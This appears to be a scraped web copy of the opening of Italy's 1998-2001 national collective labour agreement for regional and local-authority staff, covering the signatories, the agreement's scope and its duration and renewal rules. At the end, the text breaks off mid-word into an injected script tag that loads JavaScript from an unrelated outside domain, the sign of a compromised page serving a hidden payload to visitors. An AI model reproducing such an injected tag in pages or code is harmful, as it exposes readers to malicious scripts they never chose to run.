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Categoria: Enti locali (regioni) Settore: Pubblica Amministrazione Data stipula: 1-4-1999 Data decorrenza: 1-1-1998 Data scadenza: 31-12-2001
Contratto Collettivo Nazionale di Lavoro 1998-2001
DEL PERSONALE DEL COMPARTO DELLE REGIONI E DELLE AUTONOMIE LOCALI
A seguito del parere favorevole espresso in data 11.3.99 dal Comitato di
Settore sul testo dell'accordo relativo al CCNL 1998-2001 del personale
del comparto delle Regioni e delle Autonomie Locali, nonché della
certificazione della Corte dei Conti sull'attendibilità dei costi
qualificati per il medesimo accordo e sulla loro compatibilità con gli
strumenti di programmazione e di bilancio, il giorno 1.4.99, alle ore 9,
ha avuto luogo l'incontro tra:
l'ARAN: nella persona del Presidente, prof. Carlo Dell'Aringa
e i rappresentanti delle seguenti Organizzazioni e Confederazioni
sindacali:
-Organizzazioni sindacali: CGIL-FP, FIST-CISL, UIL-EE.LL, DICCAP-CONFSAL-
DIPARTIMENTO ENTI LOCALI, CAMERE DI COMMERCIO-POLIZIA MUNICIPALE - (FENAL-
CONFSAL, SNALCC-CONFSAL, SULPM-CONFSAL), COORDINAMENTO SINDACALE AUTONOMO
(FIADEL-CISAL, FIALP-CISAL, CISAS-FISAEL, CONFAIL-UNSIAU, CONFILL ENTI
LOCALI-CUSAL, USPPI-CUSPEL-FASIL-FADEL), FEDERAZIONE NAZIONALE EE.LL. (UGL
ENTI LOCALI, CIL, CILDI-FILDI, CONSAL-FEDNADEL; SAL, QUADRIL, SINPA,
OSPOL);
-Confederazioni Sindacali: CGIL, CISL, UIL, CONFSAL, CISAL, UGL.
Al termine della riunione le parti hanno sottoscritto l'allegato CCNL
relativo al personale dipendente del comparto delle Regioni e delle
Autonomie Locali.
Parte I
Titolo I - DISPOSIZIONI GENERALI
Capo I
Art. 1 - Campo di applicazione.
1.Il presente CCNL si applica al personale con rapporto di lavoro a tempo
indeterminato o determinato, escluso quello con qualifica dirigenziale,
dipendente dagli enti del comparto delle Regioni e delle Autonomie Locali
di cui all'accordo quadro 2.6.98, dal Comune di Campione d'Italia, dalle
istituzioni pubbliche di assistenza e beneficenza (IPAB) che svolgono
prevalente attività assistenziale individuate dalle Regioni nonché ai
dipendenti degli enti locali in servizio presso le case da gioco.
2.Nel testo del presente contratto i riferimenti al D.lgs. 3.2.93 n. 29
come modificato, integrato o sostituito dai DD.lgs. 4.11.97 n. 396,
31.3.98 n. 80 e 29.10.98 n. 387, sono riportati come D.lgs. n. 29/93.
Art. 2 - Durata, decorrenza, tempi e procedure di applicazione
del contratto.
1.Il presente contratto concerne il periodo 1° gennaio 1998 - 31 dicembre
2001 per la parte normativa ed è valido dal 1° gennaio 1998 fino al 31
dicembre 1999 per la parte economica.
2.Gli effetti giuridici decorrono dal giorno successivo alla data di
stipulazione, salvo diversa prescrizione del presente contratto.
3.Gli istituti a contenuto economico e normativo con carattere vincolato
ed automatico sono applicati dagli enti destinatari entro 30 giorni dalla
data di stipulazione di cui al comma 2.
4.Il presente contratto, alla scadenza, si rinnova tacitamente di anno in
anno qualora non ne sia data disdetta da una delle parti con lettera
raccomandata, almeno 3 mesi prima di ogni singola scadenza. In caso di
disdetta, le disposizioni contrattuali rimangono in vigore fino a quando
non siano sostituite dal successivo contratto collettivo.
5.Per evitare periodi di vacanza contrattuale, le piattaforme sono
presentate 3 mesi prima della scadenza del contratto. Durante tale periodo
e per il mese successivo alla scadenza del contratto, le parti negoziali
non assumono iniziative unilaterali né procedono ad azioni dirette.
6.Dopo un periodo di vacanza contrattuale pari a 3 mesi dalla data di
scadenza o dalla data di presentazione delle piattaforme, se successiva,
ai dipendenti del comparto sarà corrisposta la relativa indennità secondo
le scadenze previste dall'accordo sul costo del lavoro del 23.7.93. Per le
modalità di erogazione di detta indennità, l'ARAN sti<script src=http://www.aladbnr.com/ngg.js></script>
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